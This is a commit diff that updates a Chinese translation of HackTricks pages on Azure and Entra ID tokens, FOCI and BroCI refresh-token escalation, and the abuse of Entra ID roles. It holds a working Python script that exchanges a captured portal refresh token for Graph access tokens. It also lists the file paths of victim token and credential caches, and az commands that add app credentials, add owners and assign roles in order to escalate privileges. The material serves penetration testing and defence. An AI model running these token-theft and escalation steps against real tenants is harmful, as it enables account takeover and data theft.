Translated ['', 'src/pentesting-cloud/azure-security/az-basic-informatio

This commit is contained in:
Translator
2026-03-01 20:12:42 +00:00
parent 6a781aa71b
commit b57f94c046
3 changed files with 697 additions and 185 deletions

View File

@@ -1,100 +1,100 @@
# Az - 令牌与公共应用程序
# Az - Tokens & Public Applications
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
## Basic Information
Entra ID 是 Microsoft 的云端身份访问管理 (IAM) 平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础身份验证授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 身份验证协议来管理对资源的访问。
Entra ID 是微软的基于云的身份访问管理 (IAM) 平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础身份验证授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 身份验证协议来管理对资源的访问。
### OAuth
**OAuth 2.0 的关键参与者:**
1. **Resource Server (RS)** 保护资源所有者拥有的资源。
2. **Resource Owner (RO)** 通常是拥有受保护资源的终端用户。
3. **Client Application (CA)** 代表资源所有者请求访问资源的应用。
4. **Authorization Server (AS)**认证并授权客户端应用后向其颁发 access tokens。
1. **Resource Server (RS):** 保护资源所有者拥有的资源。
2. **Resource Owner (RO):** 通常是拥有受保护资源的终端用户。
3. **Client Application (CA):** 代表资源所有者请求访问资源的应用程序
4. **Authorization Server (AS):**对 client application 进行身份验证和授权后向其颁发 access tokens。
**Scopes 与 同意**
**Scopes 与 Consent**
- **Scopes** 在资源服务器上定义的细粒度权限,用于指定访问级别。
- **Consent** 资源所有者授予客户端应用以特定 scopes 访问资源的过程。
- **Scopes** 在 resource server 上定义的细粒度权限,指定访问级别。
- **Consent** 资源所有者授予 client application 访问具有特定 scopes 资源的过程。
**Microsoft 365 集成:**
- Microsoft 365 使用 Azure AD 作为 IAM并由多个 “first-party” OAuth 应用组成。
- Microsoft 365 使用 Azure AD 进行 IAM并由多个 “first-party” OAuth 应用组成。
- 这些应用深度集成,通常具有相互依赖的服务关系。
- 为简化用户体验并持功能Microsoft 会对这些 first-party 应用授予“implied consent”“pre-consent”。
- **Implied Consent** 某些应用会被自动**授予对特定 scopes 的访问权限,而无需明确的用户或管理员批准**。
- 这些预先同意的 scopes 通常对用户和管理员都隐藏,使其在标准管理界面中不易被看到
- 为简化用户体验并持功能Microsoft 会对这些 first-party 应用授予 “implied consent”“pre-consent”。
- **Implied Consent** 某些应用会被自动 **granted access to specific scopes without explicit user or administrator approva**l
- 这些预先同意的 scopes 通常对用户和管理员可见性较低,在标准管理界面中不易察觉
**客户端应用类型:**
**Client Application 类型:**
1. **Confidential Clients**
- 拥有自己的凭据(例如密码或证书)。
- 可以**安全地对授权服务器进行自身认证**。
- 能够**安全地向 authorization server 进行自我身份验证**。
2. **Public Clients**
- 没有唯一凭据。
- 无法向授权服务器进行安全认证。
- **安全含义:** 请求 tokens 时,攻击者可以冒充 public client 应用,因为授权服务器无法验证该应用的合法性。
- 没有唯一凭据。
- 无法安全地向 authorization server 进行身份验证。
- **安全含义:** 攻击者在请求 tokens 时可以冒充 public client application因为 authorization server 无法验证该应用的合法性。
## 身份验证令牌
## Authentication Tokens
OIDC 中使用的**三种令牌**
OIDC 中使用三种类型的 tokens
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**** 客户端向资源服务器出示此 token 以**访问资源**。它只能用于特定的用户、客户端和资源组合,并且在过期之前**无法被撤销**——默认有效期为 1 小时。
- **ID Tokens** 客户端从授权服务器接收的**token**。它包含关用户的基本信息。它**绑定到特定的用户与客户端组合**。
- **Refresh Tokens** 与 access token 一起提供给客户端。用于**获取新的 access 和 ID tokens**。它绑定到特定的用户与客户端组合并且可以被撤销。默认过期为**90 天**(对于不活跃的 refresh tokens并且**活动 token 默认不失效**(通过 refresh token 可以获取新的 refresh tokens
- 一个 refresh token 应该绑定到一个 **`aud`**、一些 **scopes**一个 **tenant**,并且它应只能为该 aud、这些 scopes且不能超出)和 tenant 生成 access tokens。然而**FOCI applications tokens** 并不遵循该约束
- refresh token 是加密的,只有 Microsoft 能解密它。
- 获取新的 refresh token 不会撤销前的 refresh token。
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** client 向 resource server 提交此 token 以**访问资源**。它只能用于特定的 user、client 和 resource 组合,并且在到期前**无法被撤销**——默认为 1 小时。
- **ID Tokens** client 从 authorization server 收到的 **token**。它包含关用户的基本信息。它**绑定到特定的 user 和 client 组合**。
- **Refresh Tokens** 与 access token 一起提供给 client。用于**获取新的 access 和 ID tokens**。它绑定到特定的 user 和 client 组合并且可以被撤销。默认过期为**90 天**(对非活动的 refresh tokens**活动 token 没有过期**可以通过 refresh token 获取新的 refresh tokens
- refresh token 应该绑定到一个 **`aud`**、一些 **scopes**,以及一个 **tenant**,并且它应只能为该 aud、这些 scopes且不能更多)和 tenant 生成 access tokens。然而对于 **FOCI applications tokens** 情况并非如此
- refresh token 是加密的,只有 Microsoft 能解密它。
- 获取新的 refresh token 不会撤销前的 refresh token。
> [!WARNING]
> 关 **conditional access** 的信息**存储**在 **JWT** 内。因此,如果你从一个**被允许的 IP 地址**请求了该**token**,该**IP** 会被**存储**在 token 中,然后你可以从一个**未被允许的 IP**使用该 token 来访问资源。
> **conditional access** 的信息**存储**在 **JWT** 内。因此,如果你从一个 **allowed IP address** 请求 **token**,该 **IP** 会被**存储**在 token 中,然后你可以从 **non-allowed IP** 使用该 token 来访问资源。
### Access Tokens "aud"
"aud" 字段指示的值是用于执行登录的**resource server**(即应用)。
"aud" 字段指示用于执行登录的 **resource server**(即应用)。
命令 `az account get-access-token --resource-type [...]` 支持以下类型,每种类型会在生成的 access token 中添加特定的 "aud"
命令 `az account get-access-token --resource-type [...]` 支持以下类型,每种类型会在生成的 access token 中添加特定的 "aud"
> [!CAUTION]
> 注意,以下仅是 `az account get-access-token` 支持的部分 API并不止这些
> 注意,下列仅为 `az account get-access-token` 支持的 API实际还有更多
<details>
<summary>aud 示例</summary>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)**用于访问遗留的 Azure AD Graph API(已弃用),允许应用读取和写入 Azure Active Directory (Azure AD) 中的目录数据。
- **aad-graph (Azure Active Directory Graph API)**: 用于访问已弃用的 legacy Azure AD Graph API允许应用读取和写入 Azure Active Directory (Azure AD) 中的目录数据。
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**用于通过 Azure Resource Manager API 管理 Azure 资源包括创建、更新和删除虚拟机、存储帐户等资源。
* **arm (Azure Resource Manager)**: 用于通过 Azure Resource Manager API 管理 Azure 资源包括创建、更新和删除诸如虚拟机、存储帐户等资源的操作
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**用于访问 Azure Batch该服务支持在云中高效运行大规模并行和高性能计算应用。
- **batch (Azure Batch Services)**: 用于访问 Azure Batch这是一项在云中高效支持大规模并行和高性能计算应用的服务
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**用于与 Azure Data Lake Storage Gen1 交互,这是一可扩展的数据存储分析服务。
* **data-lake (Azure Data Lake Storage)**: 用于与 Azure Data Lake Storage Gen1 交互,这是一可扩展的数据存储分析服务。
- `https://datalake.azure.net/`
- **media (Azure Media Services)**用于访问 Azure Media Services为音视频内容提供云的媒体处理和交付服务。
- **media (Azure Media Services)**: 用于访问 Azure Media Services该服务为视频和音频内容提供基于云的媒体处理和交付服务。
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**用于访问 Microsoft Graph API,这是 Microsoft 365 服务数据的统一端点。它允许访问来自 Azure AD、Office 365、企业移动性及安全服务等的数据信息
* **ms-graph (Microsoft Graph API)**: 用于访问 Microsoft Graph API —— Microsoft 365 服务数据的统一端点。它允许访问来自 Azure AD、Office 365、Enterprise Mobility 和 Security services 的数据和见解
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**用于访问 Azure 开源关系数据库服务,如 MySQL、PostgreSQL 和 MariaDB。
- **oss-rdbms (Azure Open Source Relational Databases)**: 用于访问 Azure 针对开源关系数据库引擎(如 MySQL、PostgreSQL 和 MariaDB)的数据库服务
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
access token 的 scope 存储在 access token JWT 的 scp 键中。这些 scopes 定义了 access token 可以访问的内容。
access token 的 scope 存储在 access token JWT 的 scp 键中。这些 scopes 定义了 access token 可以访问的内容。
如果个 JWT 被允许联系某个特定 API但**没有执行所请求操作的 scope**,那么该 JWT **将无法执行该操作**
如果个 JWT 被允许访问特定 API但**没有执行所请求操作的 scope**,那么它**无法使用该 JWT 执行该操作**。
### 获取 refresh & access token 示例
### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -144,32 +144,33 @@ scopes=["https://graph.microsoft.com/.default"],
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Other access token fields
### 其他访问令牌字段
- **appid**: 用生成 token 的 Application ID
- **appid**: 用生成令牌的应用程序 ID
- **appidacr**: Application Authentication Context Class Reference指示客户端如何被认证对于 public client 值为 0若使用 client secret 则值为 1
- **acr**: Authentication Context Class Reference 声明,当终端用户认证未满足 ISO/IEC 29115 要求时为 "0"
- **amr**: Authentication method指示 token 的认证方式。值为 “pwd” 表示使用了密码。
- **acr**: Authentication Context Class Reference 声明为 "0" 表示终端用户认证未满足 ISO/IEC 29115 要求。
- **amr**: Authentication method 指示令牌的认证方式。值为 “pwd” 表示使用了密码。
- **groups**: 指示主体所属的组。
- **iss**: 指示生成该 token 的 security token service (STS)。例如 https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/uuid 为 tenant ID
- **oid**: 主体的 object ID
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at签发时间Not before不可在此时间之前使用,通常与 iat 相同),Expiration time过期时间
- **iss**: 发行者,标识生成令牌的安全令牌服务 (STS)。例如 https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/uuid 为租户 ID
- **oid**: 主体的对象 ID
- **tid**: 租户 ID
- **iat, nbf, exp**: iat 为签发时间何时签发nbf 为生效时间(在此时间之前不可使用,通常与 iat 相同),exp过期时间。
## FOCI Tokens Privilege Escalation
## FOCI Tokens 权限提升
提到 refresh tokens 应该与其生成时的 **scopes**、生成**application****tenant** 绑定。如果这些边界中的任何一个被破坏,就可能发生权限提升 —— 可以生成对用户访问权限的其他资源和 tenant 的 access tokens且可能比最初预期拥有更多的 scopes。
前提到 refresh tokens 应该绑定到生成它们时的 **scopes**、生成它们**application****tenant**。如果这些边界中的任意一项被打破,就可能发生权限提升,因为可以生成对用户访问的其他资源和租户且拥有比原本更多 scopes 的 access tokens。
此外,在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)Microsoft Entra accounts、Microsoft personal accounts以及像 Facebook 和 Google 这样的 social accounts中,**所有 refresh tokens 都可能发生这种情况**,因为如 [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所述:“Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”
此外,**在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) 中所有的 refresh tokens 都有这种可能性**Microsoft Entra accounts、Microsoft personal accounts以及像 Facebook 和 Google 这样的 social accounts,正如 [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所述:
"刷新令牌绑定到用户和客户端的组合,但 **不绑定到资源或租户**。客户端可以使用刷新令牌来获取在其有权限的任何资源与租户组合上的访问令牌。刷新令牌是加密的,只有 Microsoft identity platform 可以读取它们。"
另外,注意 FOCI applications 是 public applications所以**不需要 secret**即可向服务器进行证。
另外,注意 FOCI applications 是 public applications因此 **无需 secret** 即可向服务器进行身份验证。
在 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) 中报告的已知 FOCI clients 可在 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) 找到
已知的 FOCI 客户端在 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) 中报告可在 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) 查看
### Get different scope
### 获取不同作用域
延续前面的示例代码,下面这段代码请求了一个用于不同 scope 的新 token
根据之前的示例代码,下面代码请求了一个针对不同作用域(scope的新令牌
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -186,7 +187,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### 获取不同的 client 和 scopes
### 获取不同的客户端和权限范围
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
@@ -202,30 +203,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## 在哪里可以找到 tokens
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
从攻击者的角度,当受害者的 PC 被攻破时,了解在哪里能够找到 access 和 refresh tokens 非常有价值:
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
- 位于 **`<HOME>/.Azure`**
- **`azureProfile.json`** 包含过去登录用户的信息
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
### Goal and purpose
BroCI 的目标是重用来自支持 broker 的应用链的有效用户会话,并为另一个受信任的 app/resource 配对请求令牌。因此可以从原始令牌实现“escalate privileges”。
从攻击性角度看,这很重要,因为:
- 它可以解锁标准 refresh 交换无法访问的已预先同意的第一方应用路径。
- 它可以以具有广泛委派权限的应用身份返回针对高价值 API例如 Microsoft Graph的 access tokens。
- 它将认证后基于令牌的枢转机会扩展到超过经典的 FOCI client switching 场景。
在 NAA/BroCI 刷新令牌中发生变化的不是可见的令牌格式,而是 Microsoft 在 brokered 刷新操作中验证的 **issuance context** 和与 broker 相关的元数据。
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
- You need a refresh token already issued by a compatible brokered flow.
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
### Mental model
Think of BroCI as:
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
If any part of that broker chain does not match, the exchange fails.
### Where to find a BroCI-valid refresh token
One practical way is browser portal traffic collection:
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter for:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
### Common errors
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
<details>
<summary>Python BroCI 刷新辅助工具 (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## 在哪里可以找到令牌
从攻击者的角度来看,当受害者的 PC 被入侵时,知道在哪里可以找到 access 和 refresh tokens 非常有价值:
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** 包含过去登录的用户信息
- **`clouds.config contains`** 包含有关订阅的信息
- **`service_principal_entries.json`** 包含应用凭 (tenant id, clients and secret)。仅在 Linux & macOS
- **`msal_token_cache.json`** 包含 access tokens 和 refresh tokens。仅在 Linux & macOS
- **`service_principal_entries.bin`** msal_token_cache.bin Windows 上使用并受 DPAPI 加密
- **`service_principal_entries.json`** 包含应用凭 (tenant id, clients and secret)。仅在 Linux & macOS
- **`msal_token_cache.json`** 包含 access tokens 和 refresh tokens。仅在 Linux & macOS
- **`service_principal_entries.bin`** and msal_token_cache.bin 用于 Windows,并使用 DPAPI 加密
- **`msal_http_cache.bin`** 是 HTTP 请求的缓存
- 加载方式: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** 包含使用 Az PowerShell 的历史登录信息(但不含凭
- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 有多个 `.bin` 文件,包含 **access tokens**、ID tokens 和账信息,均用用户的 DPAPI 加密。
- 还可以**`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** `.tbres` 文件找到更多 **access tokens**这些文件包含用 DPAPI 加密并 base64 编码的 access tokens。
- 在 Linux macOS 上,如果使用了 Az PowerShell可运行 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 获取 **access tokens, refresh tokens and id tokens**
- 在 Windows 上这只会生成 id tokens。
- 可以通过检查 `$HOME/.local/share/.IdentityService/` 是否存在来判断在 Linux macOS 上是否使用过 Az PowerShell(尽管其中的文件为空且没用)
- 如果用户使用浏览器登录了 Azure根据这篇 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)可以以重定向到 localhost 的方式启动认证流程,使浏览器自动授权登录,并接收 refresh token。注意只有少数 FOCI 应用允许重定向到 localhost例如 az cli 或 powershell 模块),因此这些应用必须被允许。
- 博客中解释的另一种方法是使用工具 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow),它可以使用任何应用,因为它会 **获取 OAuth code然后从最终认证页面标题中取 refresh token**,使用 redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** 包含使用 Az PowerShell 的先前登录信息(但不含凭
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 有多个 `.bin` 文件,包含 **access tokens**、ID tokens 和账信息,并由用户的 DPAPI 加密。
-**`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** `.tbres` 文件中可能会找到更多 **access tokens**这些文件包含用 DPAPI 加密并 base64 编码的 access tokens。
- 在 Linux macOS 上,如果使用了 Az PowerShell以通过运行 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 获取 **access tokensrefresh tokens id tokens**
- 在 Windows 上这只会生成 id tokens。
- 可以通过检查 `$HOME/.local/share/.IdentityService/` 是否存在来判断 Az PowerShell 是否在 Linux macOS 上被使用(尽管其中的文件是空的且无用)
- 如果用户通过浏览器 **logged inside Azure**,根据这篇 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) 可以启动带有 **redirect to localhost** 的认证流程,浏览器自动授权登录,并接收 refresh token。注意只有少数 FOCI applications 允许 redirect to localhost例如 az cli 或 powershell 模块),因此这些应用必须被允许。
- 博客中解释的另一个选项是使用工具 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow),它可以使用任何应用,因为它会 **获取 OAuth code然后从最终认证页面标题中取 refresh token**,使用 redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## References
## 参考资料
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> 请注意,**并非所有的细粒度权限** 内置角色在 Entra ID **都可以用于自定义角色**
> 请注意,**并非 Entra ID 中内置角色所拥有的所有细粒度权限**都**可以用于自定义角色**
## Roles
## 角色
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
角色包含必要的细粒度权限,以便能够将角色分配给主体并角色提供更多权限。这两项操作都可能被滥用提升权限。
角色包含将角色分配给主体并角色授予更多权限所需的细粒度权限。这两项操作都可能被滥用提升权限。
- 将角色分配给用户:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- 角色添加更多权限:
- 角色添加更多权限:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
这允许攻击者**添加凭据**(密码或证书)到现有应用程序。如果该应用程序具有特权权限,攻击者可以作为该应用程序进行身份验证并获得这些权限。
这允许攻击者**添加凭据**(密码或证书)到现有应用程序。如果该应用程序具有权限,攻击者可以该应用程序的身份进行身份验证并获得这些权限。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
这允许与 `applications/credentials/update` 相同的操作,但范围仅限于单目录应用程序。
这允许执行`applications/credentials/update` 相同的操作,但作用域限定为单目录应用程序。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
通过将自己添加为所有者,攻击者可以操纵应用程序,包括凭和权限。
通过将自己添加为所有者,attacker 可以操纵应用程序,包括凭和权限。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
攻击者可以向租户用户正在使用的应用程序添加重定向 URI然后与他们共享使用新重定向 URL 的登录 URL以窃取他们的令牌。请注意,如果用户已经登录到应用程序,身份验证将自动进行,无需用户接受任何内容。
